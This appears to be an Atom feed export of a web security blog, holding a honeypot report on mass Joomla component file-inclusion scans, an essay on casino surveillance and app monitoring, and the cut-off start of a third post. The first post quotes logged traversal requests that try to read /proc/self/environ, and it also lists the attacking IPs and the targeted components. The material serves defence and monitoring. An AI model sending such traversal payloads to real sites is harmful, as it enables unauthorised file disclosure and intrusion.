<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5361523904237597206</id><updated>2012-01-25T10:52:43.473-05:00</updated><title type='text'>Tactical Web Application Security</title><subtitle type='html'>&lt;b&gt;Tac-ti-cal&lt;/b&gt;: of or relating to combat tactics: of or occurring at the battlefront &amp;lt;&lt;i&gt;a tactical defense&lt;/i&gt;&amp;gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>65</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-2189283503539176060</id><published>2011-11-18T11:46:00.003-05:00</published><updated>2012-01-25T10:52:43.643-05:00</updated><title type='text'>Mass Joomla Component LFI Attacks Identified</title><content type='html'>&lt;h1&gt;Joomla Component LFI Vulnerabilities&lt;/h1&gt;&lt;p&gt;Joomla has hundreds of Controller components.  Check out the &lt;a href="http://extensions.joomla.org/" target="_self"&gt;Joomla Extension site&lt;/a&gt; for examples.  Unfortunately, the vast majority of these components have LFI vulnerabilities.  The vulnerability details are pretty much the same -&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The vulnerable page is "index.php".&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The "option" parameter is set to "com_xxxxxx" where xxxx is the vulnerable component name.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Input passed via the "controller" parameter is not properly verified before being used to include files. &lt;/li&gt;&lt;br /&gt;&lt;li&gt;By appending URL-encoded NULL bytes, an attacker can specify any arbitrary local file.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;p&gt;Here is an example &lt;a href="http://osvdb.org/search/search?search%5Bvuln_title%5D=Joomla+Controller+Parameter+Traversal+Local+File+Inclusion&amp;amp;search%5Btext_type%5D=alltext" target="_self"&gt;OSVDB Search Query for a listing of these vulnerabilities&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="http://npercoco.typepad.com/.a/6a0133f264aa62970b0153932f4111970b-pi"&gt;&lt;img title="Screen shot 2011-11-17 at 10.27.01 AM" src="http://npercoco.typepad.com/.a/6a0133f264aa62970b0153932f4111970b-800wi" border="0" width="85%" height="85%" alt="Screen shot 2011-11-17 at 10.27.01 AM" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;h1&gt;Honeypot Attack Probes Identified&lt;/h1&gt;&lt;p&gt;Our daily honeypot analysis has identified a mass scanning campaign aimed at various Joomla Component Local File Inclusion (LFI) Vulnerabilities.  Here are a few example attacks taken from today's honeypot logs:&lt;/p&gt;&lt;pre&gt;109.75.169.20 - - [17/Nov/2011:17:48:15 +0900] "GET /index.php?option=com_bca-rss-syndicator&amp;amp;controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 224&lt;br /&gt;174.122.220.10 - - [17/Nov/2011:00:21:32 +0100] "GET /index.php?option=com_ckforms&amp;amp;controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)"&lt;br /&gt;72.47.211.229 - - [17/Nov/2011:10:14:27 +0900] "GET /index.php?option=com_cvmaker&amp;amp;controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 216&lt;br /&gt;180.235.131.131 - - [17/Nov/2011:01:34:54 +0900] "GET /index.php?option=com_datafeeds&amp;amp;controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 222&lt;/pre&gt;&lt;p&gt;Notice that various components are targeted in the "option" parameter and that the a directory traversal attack is used in the "controller" parameter.  The LFI data is attempting to enumerate the OS shell environment data.&lt;/p&gt;&lt;h2&gt;Attack Statistics&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Number of attacks seen: 1538&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Number of unique attack sources: 45&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Top 25 Joomla Component LFI Attacker Sources&lt;/h2&gt;&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;# of Attacks&lt;/th&gt;&lt;th&gt;IP Address&lt;/th&gt;&lt;th&gt;Country Code&lt;/th&gt;&lt;th&gt;Country Name&lt;/th&gt;&lt;th&gt;Region&lt;/th&gt;&lt;th&gt;Region Name&lt;/th&gt;&lt;th&gt;City&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;491&lt;/td&gt;&lt;td&gt;180.235.131.131&lt;/td&gt;&lt;td&gt;AU&lt;/td&gt;&lt;td&gt;Australia&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;95&lt;/td&gt;&lt;td&gt;210.173.154.35&lt;/td&gt;&lt;td&gt;JP&lt;/td&gt;&lt;td&gt;Japan&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;86&lt;/td&gt;&lt;td&gt;74.50.25.165&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;California&lt;/td&gt;&lt;td&gt;Anaheim&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;80&lt;/td&gt;&lt;td&gt;91.121.87.48&lt;/td&gt;&lt;td&gt;FR&lt;/td&gt;&lt;td&gt;France&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;67&lt;/td&gt;&lt;td&gt;69.27.109.40&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;Canada&lt;/td&gt;&lt;td&gt;SK&lt;/td&gt;&lt;td&gt;Saskatchewan&lt;/td&gt;&lt;td&gt;Saskatoon&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;58&lt;/td&gt;&lt;td&gt;46.105.98.146&lt;/td&gt;&lt;td&gt;FR&lt;/td&gt;&lt;td&gt;France&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;58&lt;/td&gt;&lt;td&gt;180.151.1.68&lt;/td&gt;&lt;td&gt;IN&lt;/td&gt;&lt;td&gt;India&lt;/td&gt;&lt;td&gt;07&lt;/td&gt;&lt;td&gt;Delhi&lt;/td&gt;&lt;td&gt;New Delhi&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;51&lt;/td&gt;&lt;td&gt;67.23.229.237&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;NY&lt;/td&gt;&lt;td&gt;New York&lt;/td&gt;&lt;td&gt;New York&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;42&lt;/td&gt;&lt;td&gt;64.92.125.26&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;CO&lt;/td&gt;&lt;td&gt;Colorado&lt;/td&gt;&lt;td&gt;Denver&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;42&lt;/td&gt;&lt;td&gt;182.255.0.200&lt;/td&gt;&lt;td&gt;ID&lt;/td&gt;&lt;td&gt;Indonesia&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;39&lt;/td&gt;&lt;td&gt;82.192.87.86&lt;/td&gt;&lt;td&gt;NL&lt;/td&gt;&lt;td&gt;Netherlands&lt;/td&gt;&lt;td&gt;07&lt;/td&gt;&lt;td&gt;Noord-Holland&lt;/td&gt;&lt;td&gt;Amsterdam&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;38&lt;/td&gt;&lt;td&gt;174.122.220.10&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;TX&lt;/td&gt;&lt;td&gt;Texas&lt;/td&gt;&lt;td&gt;Houston&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;37&lt;/td&gt;&lt;td&gt;178.162.231.59&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;Canada&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;36&lt;/td&gt;&lt;td&gt;72.47.211.229&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;California&lt;/td&gt;&lt;td&gt;Culver City&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;33&lt;/td&gt;&lt;td&gt;122.201.80.95&lt;/td&gt;&lt;td&gt;AU&lt;/td&gt;&lt;td&gt;Australia&lt;/td&gt;&lt;td&gt;02&lt;/td&gt;&lt;td&gt;New South Wales&lt;/td&gt;&lt;td&gt;Sydney&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;32&lt;/td&gt;&lt;td&gt;174.37.16.78&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;TX&lt;/td&gt;&lt;td&gt;Texas&lt;/td&gt;&lt;td&gt;Dallas&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;31&lt;/td&gt;&lt;td&gt;64.13.224.234&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;California&lt;/td&gt;&lt;td&gt;Culver City&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;27&lt;/td&gt;&lt;td&gt;109.75.169.20&lt;/td&gt;&lt;td&gt;GB&lt;/td&gt;&lt;td&gt;United Kingdom&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;25&lt;/td&gt;&lt;td&gt;65.98.23.170&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;California&lt;/td&gt;&lt;td&gt;San Francisco&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;25&lt;/td&gt;&lt;td&gt;46.20.45.50&lt;/td&gt;&lt;td&gt;DE&lt;/td&gt;&lt;td&gt;Germany&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;24&lt;/td&gt;&lt;td&gt;193.106.93.131&lt;/td&gt;&lt;td&gt;RU&lt;/td&gt;&lt;td&gt;Russian Federation&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;16&lt;/td&gt;&lt;td&gt;85.36.63.35&lt;/td&gt;&lt;td&gt;IT&lt;/td&gt;&lt;td&gt;Italy&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;71.17.4.161&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;Canada&lt;/td&gt;&lt;td&gt;SK&lt;/td&gt;&lt;td&gt;Saskatchewan&lt;/td&gt;&lt;td&gt;Lloydminster&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;50.73.66.4&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;173.245.78.42&lt;/td&gt;&lt;td&gt;US&lt;/td&gt;&lt;td&gt;United States&lt;/td&gt;&lt;td&gt;CA&lt;/td&gt;&lt;td&gt;California&lt;/td&gt;&lt;td&gt;Fremont&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;92.60.124.128&lt;/td&gt;&lt;td&gt;ES&lt;/td&gt;&lt;td&gt;Spain&lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;h2&gt;Joomla Components Targeted&lt;/h2&gt;&lt;p&gt;Here is a listing of the various Joomla components that were targeted in today's attacks:&lt;/p&gt;&lt;pre&gt;com_bca-rss-syndicator&lt;br /&gt;com_ccnewsletter&lt;br /&gt;com_ckforms&lt;br /&gt;com_cvmaker&lt;br /&gt;com_datafeeds&lt;br /&gt;com_dioneformwizard&lt;br /&gt;com_dwgraphs&lt;br /&gt;com_fabrik&lt;br /&gt;com_gadgetfactory&lt;br /&gt;com_ganalytics&lt;br /&gt;com_gcalendar&lt;br /&gt;com_hsconfig&lt;br /&gt;com_if_surfalert&lt;br /&gt;com_janews&lt;br /&gt;com_jfeedback&lt;br /&gt;com_joomlapicasa2&lt;br /&gt;com_joomlaupdater&lt;br /&gt;com_joommail&lt;br /&gt;com_jshopping&lt;br /&gt;com_juliaportfolio&lt;br /&gt;com_jvehicles&lt;br /&gt;com_jwhmcs&lt;br /&gt;com_linkr&lt;br /&gt;com_mediqna&lt;br /&gt;com_mmsblog&lt;br /&gt;com_mscomment&lt;br /&gt;com_mtfireeagle&lt;br /&gt;com_ninjarsssyndicator&lt;br /&gt;com_onlineexam&lt;br /&gt;com_orgchart&lt;br /&gt;com_pcchess&lt;br /&gt;com_properties&lt;br /&gt;com_rokdownloads&lt;br /&gt;com_rpx&lt;br /&gt;com_s5clanroster&lt;br /&gt;com_sbsfile&lt;br /&gt;com_sectionex&lt;br /&gt;com_shoutbox&lt;br /&gt;com_simpledownload&lt;br /&gt;com_smestorage&lt;br /&gt;com_spsnewsletter&lt;br /&gt;com_svmap&lt;br /&gt;com_sweetykeeper&lt;br /&gt;com_userstatus&lt;br /&gt;com_webeecomment&lt;br /&gt;com_weberpcustomer&lt;br /&gt;com_zimbcomment&lt;/pre&gt;&lt;h1&gt;Recommendations&lt;/h1&gt;&lt;p&gt;If you are running Joomla applications, you should ensure that you are keeping up-to-date on patches and updates.&lt;/p&gt;&lt;h2&gt;OWASP Joomla Vulnerability Scanner&lt;/h2&gt;&lt;p&gt;OWASP has an open source &lt;a href="https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project" target="_self"&gt;Joomla Vulnerability Scanner Project&lt;/a&gt; that you should check out and run against your site.&lt;/p&gt;&lt;h2&gt;OWASP ModSecurity Core Rule Set&lt;/h2&gt;&lt;p&gt;The &lt;a href="https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project" target="_self"&gt;OWASP ModSecurity CRS&lt;/a&gt; includes generic directory traversal attack detections which should provide base level protections.&lt;/p&gt;&lt;h2&gt;Commercial ModSecurity Rules From Trustwave&lt;/h2&gt;&lt;p&gt;We have numerous virtual patches for Joomla applications including these Controller parameter LFI attacks in our &lt;a href="http://www.modsecurity.org/projects/commercial/rules/" target="_self"&gt;commercial rules feed&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-2189283503539176060?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/2189283503539176060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=2189283503539176060' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2189283503539176060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2189283503539176060'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2011/11/mass-joomla-component-lfi-attacks.html' title='Mass Joomla Component LFI Attacks Identified'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-7125801800112365734</id><published>2011-08-07T01:06:00.000-04:00</published><updated>2011-08-07T03:23:17.836-04:00</updated><title type='text'>What Web Application Security Monitoring Can Learn From Casino Surveillance</title><content type='html'>&lt;a href="http://photos.pokerplayer.co.uk/images/front_picture_library_UK/dir_4/total_gambler_2376_15.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 428px; height: 285px;" src="http://photos.pokerplayer.co.uk/images/front_picture_library_UK/dir_4/total_gambler_2376_15.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div&gt;After spending this week at the Blackhat/DefCon 19 conferences, I was struck with this thought - Web application security monitoring could take a few pointers from  Casino Surveillance.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Network Security and Banks&lt;/span&gt;&lt;br /&gt;Traditional network security seems to have a similar security posture philosophy as brick-and-mortar banks - &lt;b&gt;K&lt;/b&gt;&lt;span style="font-weight: bold;"&gt;eep the bad buys out.&lt;/span&gt;  For banks, the goal is to keep the money in the vaults to make sure that criminals do not obtain access to it.  Network security similarly aims is to keep outsiders from accessing internal systems and ports.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;b&gt;Web Application Security and Casino Surveillance&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Web application security and monitoring, on the other hand, is very similar to Casino Surveillance in that the goal is not to keep the bad guys out since - &lt;span style="font-weight: bold;"&gt;you have to let the people play.&lt;/span&gt; The very nature of both a Casino and a web application is to allow people access to the resources.  The issue is not as much &lt;b&gt;&lt;i&gt;who you are&lt;/i&gt;&lt;/b&gt; but rather &lt;b&gt;&lt;i&gt;what you are doing&lt;/i&gt;&lt;/b&gt;.  Yes, there is security at Casinos but they are not guarding the front door and checking IDs to get in the front door.  They have to let people in to play the various games and then they need to watch them very closely looking for abnormal behaviors.  While there are certain similarities to their operating model, there is a stark contrast to their monitoring capabilities.  The overwhelming majority of web applications have not been properly instrumented for logging transactional data and alerting on suspicious behaviors.  This is where, I believe, web applications could learn a lesson or two from Casinos.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;meta charset="utf-8"&gt;&lt;span style="font-weight: bold; "&gt;Surveillance is not a luxury&lt;/span&gt;&lt;br /&gt;Implementation of proper surveillance inside a Casino is not a luxury but is actually mandated by law (example &lt;a href="http://gaming.nv.gov/stats_regs/reg5_survel_stnds.pdf"&gt;Nevada Gaming Commission document on surveillance standards&lt;/a&gt;).  While the &lt;a href="https://www.pcisecuritystandards.org/documents/pci_dss_v2.pdf"&gt;PCI Digital Security Standard (DSS)&lt;/a&gt; does outline some audit details in Requirement 10, it still falls short on specific items that should be logged and/or flagged in web transactions.  The &lt;a href="https://www.owasp.org/index.php/Category:OWASP_AppSensor_Project"&gt;OWASP AppSensor Project&lt;/a&gt; is the closest resource I have found that highlights the types of events that web applications should be logging and alerting on.  As good as AppSensor is for describing the types of events to look for, it does not cover HTTP auditing itself.&lt;/div&gt;&lt;meta charset="utf-8"&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;meta charset="utf-8"&gt;&lt;span style="font-weight: bold; "&gt;Proper Coverage&lt;/span&gt;&lt;br /&gt;Casino surveillance cameras must be able to observe all aspects of the games including the equipment, staff and players. This includes the table layouts, the rack, chips and even view player's faces.  Here is one section that outlines exactly what parts of table games must be covered for surveillance purposes:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;STANDARD 2 &lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;REQUIRED SURVEILLANCE COVERAGE:  TABLE GAMES &lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;1.  The surveillance system of all licensees  operating three (3) or more table games must &lt;/i&gt;&lt;i&gt;possess the capability to monitor and record: &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;(a) Each table game area, with sufficient clarity to identify patrons and dealers; and &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;(b) Each table game surface, with sufficient coverage and clarity to simultaneously view the &lt;/i&gt;&lt;i&gt;table bank and determine the configuration of wagers, card values and game outcome. &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;2.  Each progressive table game with a potential progressive jackpot of $25,000 or more must &lt;/i&gt;&lt;i&gt;be recorded and monitored by dedicated cameras that provide coverage of: &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;(a) The table surface, sufficient that the card values and card suits can be clearly identified; and &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;(b) An overall view of the entire table with sufficient clarity to identify patrons and dealer. &lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;(c) A view of the progressive meter jackpot amount. If several tables are linked to the same &lt;/i&gt;&lt;i&gt;progressive jackpot meter, only one meter need be recorded.&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;meta charset="utf-8"&gt;&lt;div&gt;In typical web application security logging, only a small subset of data is actually logged or reviewed. The data capture by most web servers is not adequate for conducting incident response.  For example, most times, request and response bodies are excluded from logging which leaves a gaping blind spot.  Anton Chuvakin and Gunnar Peterson have a very good paper entitled "&lt;a href="http://arctecgroup.net/pdf/howtoapplogging.pdf"&gt;How to do Application Logging Right&lt;/a&gt;" that is certainly worth a read.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Combination of recording and live analysis&lt;/span&gt;&lt;br /&gt;Casino cameras record all data and this information is stored for later use such as settling game disputes.  If there are any problems, they can review the tapes to identify what happened.  In addition to the recorded data, all Casinos have staff who are constantly monitoring and moving cameras to zero in on suspicious activity.  In web application security monitoring, this is similar to having alerting systems based on rules such as those in AppSensor and then supplementing that with full audit logging.  When an analyst identifies an initial event of interest, they can then utilize the full HTTP audit log data for correlations.&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Just Doesn't Look Right (JDLR)&lt;/span&gt;&lt;br /&gt;Following proper procedures in Casinos is absolutely critical for identifying scams and cheating behavior.  When staff or players deviate from these procedures, then something just doesn't look right (jdlr) and the surveillance staff can then call up increased camera coverage to focus in on the suspects.  This is somewhat similar to scenarios where web application firewalls have automated learning/profiling and create positive security rules for the expected web application behavior.  If a client deviates from this profile, then anomaly events can be generated.  It is possible to then increase the audit logging and "tag" these clients actions for recording their traffic.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Two Types of Crimes&lt;/span&gt;&lt;br /&gt;Casinos typically have two types of crimes, crimes against the casino and crimes against the patrons.  Crimes against the casino might be where scam artists work in teams to distract staff and pass cards between themselves or possible using tools/electronics against the computerized slot machines.  In web application security, these would be similar to SQL Injection types of attacks where the attacker is aiming to attack the application itself to steal data.&lt;br /&gt;&lt;br /&gt;Casino crimes against the patrons are scenarios where cheaters try and snatch other players chips, etc...  In webappsec, this would be similar to XSS/CSRF types of attacks that aim to attack the end user through the web application.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;meta charset="utf-8"&gt;&lt;span style="font-weight: bold; "&gt;Anyone can be a cheat&lt;/span&gt;&lt;br /&gt;It would be fool hearty to only focus on stereotypes when attempting to identify cheats. Cheats come in all shapes, sizes and ages. Once again, it is not who you are but what you are doing. Similarly, in webappsec, while there is some useful IP reputation data that can be used, you must actually review what the web transaction is actually doing in order to be able to identify possible malicious behavior.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-7125801800112365734?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/7125801800112365734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=7125801800112365734' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7125801800112365734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/7125801800112365734'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/07/lessons-learned-from-casino.html' title='What Web Application Security Monitoring Can Learn From Casino Surveillance'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-564556983966719</id><published>2010-09-09T09:56:00.006-04:00</published><updated>2010-09-22T14:51:20.330-04:00</updated><title type='text'>WASC WHID Semi-Annual Report for 2010</title><content type='html'>&lt;meta charset="utf-8"&gt;&lt;span class="Apple-style-span" style="font-family: 'Segoe UI', 'Lucida Grande', Arial; color: rgb(68, 68, 68); font-size: 13px; line-height: 19px; "&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.5em; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; line-height: 1.2em; color: rgb(51, 51, 51); "&gt;The Web Hacking Incident Database (WHID) is a project dedicated to maintaining a record of web application-related security incidents. WHID’s purpose is to serve as a tool for raising awareness of web application security problems and to provide information for statistical analysis of web application security incidents. Unlike other resources covering web site security – which focus on the technical aspect of the incident – the WHID focuses on the impact of the attack.  Trustwave's SpiderLabs is a WHID project contributor.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;h1 style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; font-weight: bold; font-style: inherit; font-size: 20px; font-family: 